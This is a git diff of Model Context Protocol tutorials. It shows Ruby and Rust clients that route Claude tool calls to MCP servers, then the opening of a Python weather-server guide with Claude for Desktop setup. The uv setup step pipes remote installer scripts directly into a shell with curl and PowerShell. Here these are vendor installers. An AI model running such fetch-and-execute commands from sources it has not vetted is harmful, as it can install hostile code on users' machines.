+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-sonnet-4-20250514"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-sonnet-4-20250514";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/2024-11-05/develop/build-server.md b/content/mcp/docs/2024-11-05/develop/build-server.md
new file mode 100644
index 000000000..daa51ef84
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/build-server.md
@@ -0,0 +1,3001 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2024-11-05/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/2024-11-05/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/2024-11-05/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/2024-11-05/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import sys
+ import logging
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ print("Processing request", file=sys.stderr)
+
+ # ✅ Good (STDIO)
+ logging.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 1.2.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]" httpx
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
+ # Install dependencies
+ uv add mcp[cli] httpx
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx
+ from mcp.server.fastmcp import FastMCP
+
+ # Initialize FastMCP server
+ mcp = FastMCP("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ def main():
+ # Initialize and run the server
+ mcp.run(transport="stdio")
+
+
+ if __name__ == "__main__":
+ main()
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
